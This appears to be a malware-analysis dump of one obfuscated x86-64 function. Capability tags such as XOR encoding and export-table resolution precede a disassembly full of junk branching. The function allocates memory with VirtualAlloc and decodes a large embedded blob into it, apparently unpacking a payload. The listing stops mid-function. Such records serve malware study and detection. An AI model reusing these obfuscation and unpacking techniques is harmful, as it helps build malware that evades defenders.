Function at 0x1400199fc
Capabilities:
Create pipe
Encode data using xor
Get common file path
Resolve function by parsing pe exports
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov qword [0x140032170], r8
xor r14d, r14d
mov dword [rbp + 0x40], 0xdc1
mov r13d, 0x832
mov dword [rbp - 0x18], 0x1945
mov ebx, 0x1095
mov dword [rbp - 0xc], r14d
mov esi, 0xfffff218
mov dword [rbp - 8], r14d
lea edx, [r14 + 5]
mov dword [rbp - 0x20], r13d
lea r15d, [r14 + 1]
mov dword [rbp - 0x1c], ebx
mov r10d, 0x1b0c
mov dword [rbp - 0x10], 0x150e
mov dword [rbp - 0x14], 0x1896
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x18]
xor ecx, 0x7bb
cmp eax, ecx
jl 0x140019f9d
mov ecx, dword [rbp - 0x20]
mov r8d, 0x6aa
mov eax, dword [rbp - 8]
cmp eax, ecx
je 0x140019de9
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
xor ecx, 0xb7c
cmp eax, ecx
je 0x140019c1a
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x20]
add ecx, 0x30f
cmp eax, ecx
jge 0x140019c1a
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x14]
xor ecx, 0xa32
cmp eax, ecx
jl 0x140019c1a
mov rax, qword [section..data]
mov dword [0x140032018], r14d
mov dword [0x140032028], r14d
mov dword [0x14003202c], 7
mov dword [rax + 0x24], r14d
mov rax, qword [section..data]
mov qword [0x140032038], r14
mov dword [0x14003204c], 0x49
mov dword [rax + 0x50], r15d
mov rax, qword [section..data]
mov dword [0x140032064], r15d
mov dword [rax + 0x60], r14d
mov rax, qword [section..data]
mov dword [0x140032078], r14d
mov dword [0x140032084], r14d
mov dword [rax + 0x78], 4
mov rax, qword [section..data]
mov dword [0x14003209c], r14d
mov dword [0x1400320b0], r15d
mov dword [0x1400320c0], 0x43
mov dword [0x1400320cc], 2
mov dword [0x1400320e0], r15d
mov dword [0x1400320f4], r14d
mov dword [0x140032100], 0x14
mov dword [0x140032108], edx
mov dword [0x14003210c], 0xf
mov dword [0x140032118], 0x13
mov dword [rax + 0x118], 0x1d
mov rax, qword [section..data]
mov dword [0x140032140], edx
mov dword [0x140032148], 3
mov dword [0x140032158], 0x23
mov dword [rax + 0x14c], 0x21
mov rcx, qword [section..data]
mov dword [0x14003217c], r14d
cmp dword [rcx + 0xd0], 0x11c29
ja 0x140019bf9
imul eax, dword [0x140032088], 0x181781
mov dword [0x140032088], eax
cmp dword [rcx + 0x54], 0xf705
je 0x140019c13
mov eax, dword [0x140032084]
xor eax, 0x217ae
sub dword [0x14003215c], eax
add dword [rbp - 0x1c], 0xa77
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x9d0
cmp eax, ecx
je 0x140019e47
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x18]
xor ecx, 0x49b
cmp eax, ecx
jge 0x140019c80
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x1c]
add ecx, ebx
cmp eax, ecx
je 0x140019c80
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0xc]
cmp eax, ecx
jge 0x140019c80
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x1c]
xor ecx, r10d
cmp eax, ecx
jg 0x140019c80
mov eax, dword [0x14003202c]
mov ecx, dword [0x1400320cc]
add eax, 0xfff16cb8
sub ecx, dword [0x140032070]
add ecx, eax
mov dword [0x14003202c], ecx
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0xc]
xor ecx, r8d
cmp eax, ecx
jge 0x140019cd6
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp + 0x40]
xor ecx, 0xfb9
cmp eax, ecx
jg 0x140019cd6
cmp dword [0x140032028], 0x35c7
jne 0x140019cc1
mov rax, qword [section..data]
mov ecx, dword [rax + 0x1c]
add ecx, dword [0x14003203c]
mov dword [0x140032028], ecx
jmp 0x140019cd6
mov eax, dword [0x14003203c]
mov rcx, qword [section..data]
add eax, 0x1d2561
xor dword [rcx + 0x28], eax
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x14]
xor ecx, 0x1d3c
cmp eax, ecx
je 0x140019d21
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
xor ecx, 0xb99
cmp eax, ecx
je 0x140019d21
mov eax, dword [0x140032100]
cmp dword [0x140032118], eax
jne 0x140019d10
mov dword [0x140032100], 0x1c0c6
jmp 0x140019d21
mov eax, dword [0x14003203c]
add eax, 0x1943e8
mov dword [0x140032100], eax
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffff225
cmp eax, ecx
jg 0x140019e47
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
add ecx, 0x5e3
cmp eax, ecx
jle 0x140019d8c
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
xor ecx, 0xd98
cmp eax, ecx
jl 0x140019d8c
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x20]
add ecx, 0xb84
cmp eax, ecx
jg 0x140019d8c
add dword [rbp + 0x40], 0xfffffdbb
mov eax, dword [0x140032078]
cmp dword [0x1400320cc], eax
jb 0x140019d8c
mov ecx, dword [0x1400320e0]
add ecx, 0xfeb5a
add dword [0x140032038], ecx
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x10]
xor ecx, 0x34e
cmp eax, ecx
jl 0x140019e47
xor dword [rbp - 0x18], 0x17
imul eax, dword [0x14003210c], 0x6a82b
mov dword [0x14003210c], eax
add dword [rbp - 0x18], esi
cmp dword [0x140032034], 0x1549d
ja 0x140019dcf
mov dword [0x140032154], 0x1ba2
jmp 0x140019de0
mov eax, dword [0x1400320f4]
xor eax, 0x13668
sub dword [0x1400320c0], eax
add dword [rbp - 0x1c], 0xfffff898
jmp 0x140019e47
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
or ecx, dword [0x140032064]
sub ecx, eax
mov rax, qword [section..data]
cmp dword [rax + 0x4c], ecx
jb 0x140019e47
mov edx, dword [rbp + 0x40]
jmp 0x140019e3b
mov eax, dword [rbp - 0xc]
imul ecx, eax, 0x1b0c
xor dword [rbp + 0x40], ecx
mov rax, qword [section..data]
mov ecx, dword [rax + 0x6c]
sub ecx, dword [0x140032028]
mov eax, dword [rbp - 0x20]
add eax, ecx
mov ecx, dword [0x14003202c]
imul ecx, eax
add edx, 3
mov dword [0x14003202c], ecx
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0xc]
add ecx, eax
cmp edx, ecx
jg 0x140019e08
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0xc]
xor ecx, 0x1238
cmp eax, ecx
je 0x140019f9d
xor dword [rbp - 0x1c], r8d
add dword [rbp - 0x1c], 0xfffffb87
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 8]
add ecx, 0xf05
cmp eax, ecx
jge 0x140019f12
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x14]
add ecx, 0x1c0d
mov rdx, qword [section..data]
cmp eax, ecx
jg 0x140019eb4
cmp dword [rdx + 0xfc], 0x9713
je 0x140019eb4
mov eax, dword [rdx + 0xf0]
sub eax, dword [rdx + 0x8c]
sub eax, 0x8634d
mov dword [0x140032028], eax
mov eax, dword [rdx + 0xbc]
cmp dword [0x1400320c0], eax
jbe 0x140019ed9
mov eax, 0xfffb3f57
sub eax, dword [0x140032108]
add dword [rdx + 0x24], eax
mov rdx, qword [section..data]
jmp 0x140019ee3
add dword [0x14003210c], 0x1bbf3
mov eax, dword [rdx + 0x68]
cmp dword [0x14003209c], eax
jb 0x140019f01
mov eax, dword [0x14003202c]
add eax, 0x1f4116
mov dword [0x14003204c], eax
jmp 0x140019f0b
add dword [0x140032118], 0x7e94
add dword [rbp - 0xc], 0xb6a
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0xc]
xor ecx, 0x5f3
cmp eax, ecx
jg 0x140019f9d
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x1f3c
cmp eax, ecx
je 0x140019f38
mov eax, dword [rbp - 0x18]
mov eax, dword [rbp - 0x1c]
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffff66e
cmp eax, ecx
jge 0x140019f87
mov eax, dword [0x1400320cc]
cmp dword [0x1400320f4], eax
mov rdx, qword [section..data]
jae 0x140019f6b
mov eax, 0xfffe737f
sub eax, dword [rdx + 8]
add dword [0x140032158], eax
mov eax, dword [0x140032154]
mov ecx, dword [0x1400320e0]
add eax, 0x2c7f2
sub ecx, dword [rdx + 0x74]
add ecx, eax
mov dword [0x140032154], ecx
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
add ecx, 0xfffffae7
cmp eax, ecx
jle 0x140019f9d
mov eax, dword [rbp - 0xc]
mov eax, dword [rbp + 0x40]
mov ecx, dword [rbp - 8]
mov edi, 0x1c0d
mov eax, dword [rbp - 0x18]
add ecx, 0x1952
mov r12d, 0x108b
mov r8d, 0x172e
cmp eax, ecx
je 0x14001a53e
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffff9f7
cmp eax, ecx
jg 0x14001a233
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x20]
add ecx, 0xdc1
cmp eax, ecx
jge 0x14001a014
mov edx, dword [0x1400320f4]
mov eax, 0xfffffc33
sub eax, dword [0x140032108]
mov ecx, dword [0x140032158]
add dword [0x140032154], eax
add ecx, 0x3f9c6
add ecx, edx
imul edx, ecx
mov dword [0x1400320f4], edx
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x10]
xor ecx, 0x13ea
cmp eax, ecx
jge 0x14001a07a
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x14]
add ecx, 0x12
cmp eax, ecx
je 0x14001a07a
add dword [rbp - 0x14], 0xfffff2d4
add dword [rbp - 0x20], 0x338
xor dword [rbp - 0x14], 0x1298
cmp dword [0x140032018], 0x1723e
jae 0x14001a05e
add dword [0x1400320cc], 0x182b6
jmp 0x14001a07a
mov rax, qword [section..data]
mov ecx, dword [rax + 0x78]
sub ecx, dword [0x14003215c]
add ecx, 0x56e5
mov dword [0x1400320cc], ecx
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x128e
cmp eax, ecx
je 0x14001a0df
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x14]
add ecx, 0xfffffe96
cmp eax, ecx
jl 0x14001a0df
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
add ecx, 0x13a4
cmp eax, ecx
jge 0x14001a0df
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x1e64
cmp eax, ecx
jle 0x14001a0df
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
add ecx, 0xffffff53
cmp eax, ecx
jge 0x14001a0df
xor dword [rbp + 0x40], 0x479
add dword [rbp - 0x18], 0x10a3
add dword [rbp - 0x1c], 0x8bd
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
xor ecx, edi
cmp eax, ecx
jge 0x14001a233
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x10]
add ecx, 0xfffffeff
cmp eax, ecx
jge 0x14001a233
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0xc]
add ecx, 0xa4d
cmp eax, ecx
je 0x14001a233
add dword [rbp - 0xc], 0x39b
xor dword [rbp - 0xc], 0x1ca1
cmp dword [0x140032070], 0x1411b
ja 0x14001a150
mov rax, qword [section..data]
mov ecx, dword [rax + 0x148]
sub ecx, dword [0x14003202c]
sub ecx, 0xa3903
xor dword [0x140032154], ecx
add dword [rbp - 0x20], 0xfffffcc8
mov ecx, dword [rbp - 0x10]
mov eax, dword [0x140032128]
xor ecx, 0x1cd7
xor eax, 0x1b62
sub dword [0x140032154], eax
mov eax, dword [rbp - 8]
cmp eax, ecx
jge 0x14001a233
mov eax, 0xffffefd9
sub eax, dword [0x140032084]
add dword [0x140032154], eax
add dword [rbp - 0x14], 0xffffff60
mov rdx, qword [section..data]
mov eax, dword [rdx + 0xf0]
cmp dword [rdx + 0x3c], eax
ja 0x14001a1b9
mov eax, dword [0x14003217c]
xor eax, 0xffffe676
sub dword [0x140032154], eax
jmp 0x14001a1da
mov eax, dword [0x140032034]
mov ecx, dword [0x14003210c]
sub ecx, dword [0x140032060]
xor ecx, 0x1d86b
imul eax, ecx
mov dword [0x140032034], eax
mov eax, dword [0x140032070]
cmp dword [rdx + 0x28], eax
je 0x14001a1f9
mov eax, dword [0x1400320c0]
add eax, 0x1778d99
mov dword [rdx], eax
mov rdx, qword [section..data]
cmp dword [rdx + 0x24], 0xdd47
mov ecx, 0x3a223144
mov eax, dword [0x140032014]
cmovae eax, ecx
mov dword [0x140032014], eax
mov eax, dword [0x140032034]
cmp dword [0x140032108], eax
jae 0x14001a233
mov eax, dword [0x140032084]
add eax, 0x15de8
mov dword [0x140032050], eax
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0xc]
xor ecx, r10d
cmp eax, ecx
jg 0x14001a53e
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
add ecx, 0xffffff44
cmp eax, ecx
je 0x14001a3c8
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffffddc
cmp eax, ecx
je 0x14001a366
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x18]
xor ecx, 0x19f2
cmp eax, ecx
jle 0x14001a3c8
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x18]
add ecx, 0x5a9
cmp eax, ecx
je 0x14001a2c3
mov eax, dword [0x140032118]
xor eax, 0x467a0cca
mov dword [0x140032068], eax
mov rax, qword [section..data]
mov ecx, dword [rax + 0xd0]
xor ecx, dword [rax + 0x8c]
mov eax, dword [rbp - 0x10]
xor ecx, r15d
mov dword [0x140032130], ecx
mov dword [rbp - 0x10], eax
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
xor ecx, 0xa0
cmp eax, ecx
jge 0x14001a3c8
mov ecx, dword [0x140032050]
mov r11d, dword [0x140032068]
cmp ecx, r11d
ja 0x14001a3c8
mov rbx, qword [section..data]
mov edx, dword [0x14003215c]
mov r8d, dword [0x140032158]
mov r9d, dword [0x140032130]
mov r10d, dword [0x140032108]
add r10d, dword [0x140032078]
mov eax, r15d
sub eax, dword [0x140032060]
add r8d, eax
mov dword [0x140032108], r10d
mov eax, ecx
mov dword [0x140032158], r8d
imul eax, ecx
add ecx, r15d
add r9d, eax
mov dword [0x140032130], r9d
or edx, dword [rbx + 0xe4]
mov dword [0x14003215c], edx
cmp ecx, r11d
jbe 0x14001a30f
mov ebx, 0x1095
mov r8d, 0x172e
mov r10d, 0x1b0c
jmp 0x14001a3c8
mov edx, dword [rbp + 0x40]
jmp 0x14001a3b1
mov ecx, dword [rbp - 0x10]
sub ecx, dword [0x14003204c]
mov eax, dword [rbp + 0x40]
cmp eax, ecx
je 0x14001a3ae
mov eax, dword [0x1400320e0]
imul eax, dword [0x14003203c]
cmp dword [0x14003213c], eax
jbe 0x14001a3ae
mov eax, dword [rbp - 8]
imul eax, dword [0x140032038]
cmp dword [0x140032158], eax
jne 0x14001a3ae
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
imul ecx, eax
xor dword [rbp - 0x1c], ecx
add edx, 3
mov rax, qword [section..data]
mov ecx, dword [rbp - 0x18]
or ecx, dword [rax + 0x8c]
sub ecx, r8d
cmp edx, ecx
jne 0x14001a36b
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x18]
add ecx, 0xfffffb2d
cmp eax, ecx
jl 0x14001a53e
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x10]
xor ecx, 0x16f7
cmp eax, ecx
je 0x14001a424
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
xor ecx, 0x1c4
cmp eax, ecx
jg 0x14001a424
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x20]
add ecx, 0x19f2
cmp eax, ecx
je 0x14001a424
mov eax, dword [0x140032130]
lea ecx, [rax + rax*2]
add ecx, ecx
mov dword [0x140032130], ecx
add dword [rbp - 0x10], 0xfffff324
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x20]
add ecx, 0x13db
cmp eax, ecx
jg 0x14001a46c
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
add ecx, 0xa4d
cmp eax, ecx
jg 0x14001a46c
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
xor ecx, 0x737
cmp eax, ecx
je 0x14001a46c
mov edx, dword [0x1400320cc]
add edx, dword [0x140032128]
xor edx, 0x14a0f9
add dword [0x140032060], edx
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x20]
xor ecx, 0x1793
cmp eax, ecx
je 0x14001a53e
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x1c]
add ecx, 0xfffff68e
cmp eax, ecx
jle 0x14001a53e
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0xc]
cmp ecx, eax
jg 0x14001a510
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x14]
xor ecx, 0xc98
cmp eax, ecx
jl 0x14001a510
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x1c]
add ecx, 0x609
cmp eax, ecx
je 0x14001a4f1
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
add ecx, 0xcdc
cmp eax, ecx
jge 0x14001a4f1
add dword [rbp - 0x1c], esi
add dword [rbp - 0x18], 0xffffee25
mov eax, dword [0x140032130]
mov rcx, qword [section..data]
mov dword [rcx + 0x90], eax
mov eax, dword [rbp - 0x20]
mov dword [rbp - 0x20], eax
xor dword [rbp - 0x14], r12d
cmp dword [0x1400320b0], 0x14479
je 0x14001a510
mov rax, qword [section..data]
mov ecx, dword [rax]
sub dword [0x1400320a0], ecx
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x10]
add ecx, 0x1234
cmp eax, ecx
je 0x14001a53e
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffff48e
cmp eax, ecx
jle 0x14001a53e
xor dword [rbp - 0xc], 0x331
xor dword [rbp - 0xc], 0xa22
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
add ecx, 0xde8
cmp eax, ecx
jg 0x14001ca84
mov ecx, dword [rbp - 0xc]
mov esi, 0x1433
mov eax, dword [rbp - 0x14]
add ecx, 0xfffff0b3
mov edx, 0x1ab7
mov r11d, 0x1085
mov r9d, 0x11c0
cmp eax, ecx
je 0x14001b32b
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 8]
add ecx, 0xd08
cmp eax, ecx
jg 0x14001b0b8
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp + 0x40]
add ecx, 0x1120
cmp eax, ecx
je 0x14001aec4
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x18]
add ecx, 0xefc
cmp eax, ecx
je 0x14001a77f
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
xor ecx, 0xb6a
cmp eax, ecx
jle 0x14001a7f4
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x14]
add ecx, 0xcdc
cmp eax, ecx
jg 0x14001a7f4
mov rax, qword [section..data]
mov ecx, dword [rax + 0xfc]
cmp dword [0x140032108], ecx
ja 0x14001a603
mov eax, dword [0x140032130]
mov dword [0x14003212c], eax
jmp 0x14001a61b
mov eax, dword [0x140032064]
sub eax, dword [0x140032028]
add eax, dword [0x14003210c]
add dword [0x140032100], eax
xor dword [rbp - 0xc], r11d
mov eax, dword [rbp - 0x1c]
mov dword [rbp - 0x1c], eax
xor dword [rbp - 0xc], r11d
add dword [rbp - 0x1c], 0xf4d
xor dword [rbp - 0x20], r9d
mov rdx, qword [section..data]
mov eax, dword [0x14003215c]
add eax, 0xdb694
mov ecx, dword [rdx + 0x60]
add ecx, eax
mov eax, 0xffe759f3
mov dword [0x1400320c0], ecx
mov ecx, dword [0x140032118]
sub eax, ecx
add dword [0x1400320e0], eax
mov eax, dword [0x1400320b0]
cmp dword [rdx + 8], eax
jae 0x14001a67f
mov eax, dword [rdx + 0x50]
xor eax, ecx
xor eax, 0x159216
mov dword [0x140032118], eax
add dword [rbp - 0x1c], 0xfffff0c5
add dword [rbp - 8], 0xf05
add dword [rbp - 0x14], 0xd55
mov ecx, dword [0x140032100]
cmp ecx, 0x6ec3
jae 0x14001a6b7
mov eax, dword [0x1400320f4]
xor eax, ecx
xor eax, 0x2be3a
mov dword [0x14003202c], eax
jmp 0x14001a6c3
mov eax, dword [0x140032014]
add dword [0x14003212c], eax
add dword [rbp - 0x18], 0xfffffe00
mov rcx, qword [section..data]
cmp dword [rcx + 0x2c], 0x13077
ja 0x14001a6ed
mov eax, dword [0x140032038]
add eax, 0xffd75d7d
mov dword [0x140032048], eax
jmp 0x14001a704
mov eax, dword [0x140032108]
sub eax, dword [rcx + 0xf0]
add eax, 0x131ce
xor dword [0x140032038], eax
add dword [rbp - 0x18], r9d
cmp dword [0x14003215c], 0xfeac
mov rdx, qword [section..data]
mov ecx, dword [0x140032048]
ja 0x14001a735
mov eax, dword [rdx + 0x138]
add eax, dword [0x14003209c]
or dword [0x140032118], eax
jmp 0x14001a74e
mov eax, 0x4b3215
sub eax, dword [0x1400320e0]
sub eax, dword [0x14003210c]
add ecx, eax
mov dword [0x140032048], ecx
mov eax, dword [0x1400320c0]
cmp dword [0x140032070], eax
jae 0x14001a772
mov eax, dword [rdx + 0x78]
xor eax, dword [0x140032064]
xor eax, ecx
xor eax, 0x643934
mov dword [0x140032048], eax
xor dword [rbp - 0x20], r9d
add dword [rbp - 0xc], 0xfffff5de
jmp 0x14001a7f4
mov eax, dword [rbp - 0x1c]
sub eax, ebx
and eax, dword [0x140032070]
cmp dword [0x14003217c], eax
jne 0x14001a7f4
mov edx, dword [rbp + 0x40]
mov r8, qword [section..data]
mov r9d, dword [0x140032028]
jmp 0x14001a7e9
mov ecx, dword [0x1400320e0]
add ecx, 0x172e
add ecx, dword [0x140032030]
cmp dword [0x14003204c], ecx
jb 0x14001a7e6
mov eax, dword [rbp - 0xc]
imul eax, dword [0x140032064]
xor dword [rbp - 0xc], eax
mov eax, dword [rbp + 0x40]
and eax, dword [0x140032038]
add dword [rbp - 8], eax
mov r8, qword [section..data]
mov r9d, dword [0x140032028]
add edx, 4
mov eax, dword [r8 + 0x3c]
sub eax, r9d
cmp edx, eax
je 0x14001a7a5
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffff178
cmp eax, ecx
jl 0x14001b32b
mov ecx, dword [rbp - 8]
mov ebx, 0x1484
mov eax, dword [rbp - 0x14]
xor ecx, 0x6dc
cmp eax, ecx
je 0x14001a93e
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x20]
add ecx, 0x6d3
cmp eax, ecx
jg 0x14001a8a7
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0xc]
xor ecx, 0xb23
cmp eax, ecx
je 0x14001a859
mov edx, dword [0x1400320cc]
add edx, dword [0x1400320e0]
xor edx, 0xffe8da9a
sub dword [0x140032048], edx
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
cmp ecx, eax
jge 0x14001a88d
mov eax, dword [0x140032048]
mov ecx, dword [0x140032118]
add eax, 0x20902
add ecx, dword [0x1400320f4]
add ecx, eax
mov dword [0x140032048], ecx
add dword [rbp - 0x20], 0x1120
xor dword [rbp - 0x20], r12d
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x20]
xor ecx, 0x1298
cmp eax, ecx
jg 0x14001a8a7
add dword [rbp - 0x20], 0x3e8
xor dword [rbp - 0x20], ebx
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x14]
add ecx, 0x11c0
cmp eax, ecx
je 0x14001a93e
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
add ecx, 0xfffffc65
cmp eax, ecx
jle 0x14001a90e
mov rax, qword [section..data]
xor ecx, ecx
mov r8d, dword [0x14003217c]
mov r9d, dword [rax + 0x118]
xor r9d, dword [0x140032070]
sub r8d, dword [rax + 8]
add r9d, 0x23
mov edx, dword [rax + 0x38]
add r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rax, 0x3800
mov qword [0x1400320f8], rax
mov eax, dword [0x140032100]
mov ecx, dword [0x140032108]
add eax, 0xc604
or dword [0x140032018], eax
sub ecx, dword [0x140032118]
mov rax, qword [section..data]
add ecx, 0xc49ba
mov dword [rax + 0x88], ecx
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x20]
add ecx, 0x991
cmp eax, ecx
je 0x14001ab9c
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffff040
cmp eax, ecx
je 0x14001aa2b
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x20]
add ecx, 0xefc
cmp eax, ecx
je 0x14001aa2b
add dword [rbp - 0x14], 0xfffff2ab
add dword [rbp + 0x40], 0xfffffb2d
mov rcx, qword [section..data]
mov eax, dword [0x140032140]
cmp dword [rcx + 0xf8], eax
jne 0x14001a9bc
mov eax, dword [0x140032064]
sub eax, dword [0x14003217c]
xor eax, dword [0x140032098]
xor eax, 0xb9996
mov dword [0x140032098], eax
jmp 0x14001a9ce
mov eax, dword [0x140032078]
sub eax, dword [0x14003209c]
mov dword [0x140032084], eax
mov rax, qword [0x1400320f8]
mov ecx, dword [rbp - 0x14]
mov qword [0x1400320e8], rax
xor ecx, 0x114f
mov eax, dword [rbp - 0x18]
cmp eax, ecx
jle 0x14001aa2b
add dword [rbp - 0xc], 0x95d
add dword [rbp - 0x1c], 0x828
cmp dword [0x140032038], 0x16603
jae 0x14001aa21
mov rcx, qword [section..data]
mov eax, dword [rcx + 0xb0]
add eax, dword [0x14003203c]
add dword [rcx + 0xe4], eax
jmp 0x14001aa2b
mov dword [0x140032074], 0xc4ec4ec5
mov eax, dword [rbp - 0x1c]
mov r8, qword [section..data]
mov dword [rbp - 0x1c], eax
mov eax, dword [r8 + 0x74]
cmp dword [0x140032078], eax
ja 0x14001aa54
lea rax, [0x14001f650]
mov qword [0x1400320d8], rax
jmp 0x14001aa67
mov eax, dword [0x140032158]
sub eax, dword [r8 + 0xd0]
xor dword [0x1400320cc], eax
mov ecx, dword [0x140032084]
mov r10, r14
mov rax, qword [0x1400320d8]
mov r9d, dword [rax + r10]
add r10, 4
imul r9d, dword [0x140032074]
mov eax, dword [0x140032118]
xor eax, 0xb028
sub ecx, eax
mov dword [0x140032084], ecx
mov rax, qword [r8 + 0xd8]
mov edx, r9d
movsxd rcx, dword [0x140032098]
shr edx, 0x10
mov byte [rcx + rax], dl
mov eax, 5
sub eax, dword [0x140032108]
mov edx, r9d
add dword [0x140032034], eax
mov r8d, dword [0x140032098]
mov rax, qword [section..data]
add r8d, r15d
mov dword [0x140032098], r8d
shr edx, 8
mov ecx, dword [rax + 0xd0]
mov eax, dword [0x140032118]
add eax, 0x17f5f7
add ecx, eax
mov rax, qword [0x1400320e8]
or dword [0x140032060], ecx
movsxd rcx, r8d
mov byte [rcx + rax], dl
mov eax, dword [0x140032098]
add eax, r15d
mov dword [0x140032098], eax
movsxd rcx, eax
mov rax, qword [0x1400320e8]
mov byte [rcx + rax], r9b
add dword [0x140032098], r15d
mov rcx, qword [section..data]
mov eax, dword [0x14003202c]
xor eax, 0xfff16cc1
add dword [0x140032060], eax
mov eax, dword [0x14003217c]
sub eax, dword [rcx + 8]
add eax, 0x1a09ec
add dword [rcx + 0x3c], eax
mov eax, 0x2d10bc
mov rcx, qword [section..data]
sub eax, dword [rcx + 0x28]
add dword [rcx + 0x118], eax
mov ecx, dword [0x140032084]
mov r8, qword [section..data]
mov eax, dword [r8 + 0xf8]
xor eax, dword [0x140032088]
sub eax, 0x605e01
or ecx, eax
mov dword [0x140032084], ecx
cmp r10, 0x115b0
jl 0x14001aa70
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x10]
xor ecx, 0xa56
cmp eax, ecx
je 0x14001b32b
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x14]
xor ecx, 0x1640
cmp eax, ecx
je 0x14001b32b
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x18]
add ecx, 0x58f
cmp eax, ecx
jl 0x14001ae1f
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x18]
add ecx, 0xfffff750
cmp eax, ecx
jl 0x14001add3
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffff47c
cmp eax, ecx
jg 0x14001ac52
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x18]
xor ecx, 0x12d5
cmp eax, ecx
je 0x14001ac52
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
xor ecx, 0xae1
cmp eax, ecx
jge 0x14001ac52
mov ecx, dword [rbp - 0x18]
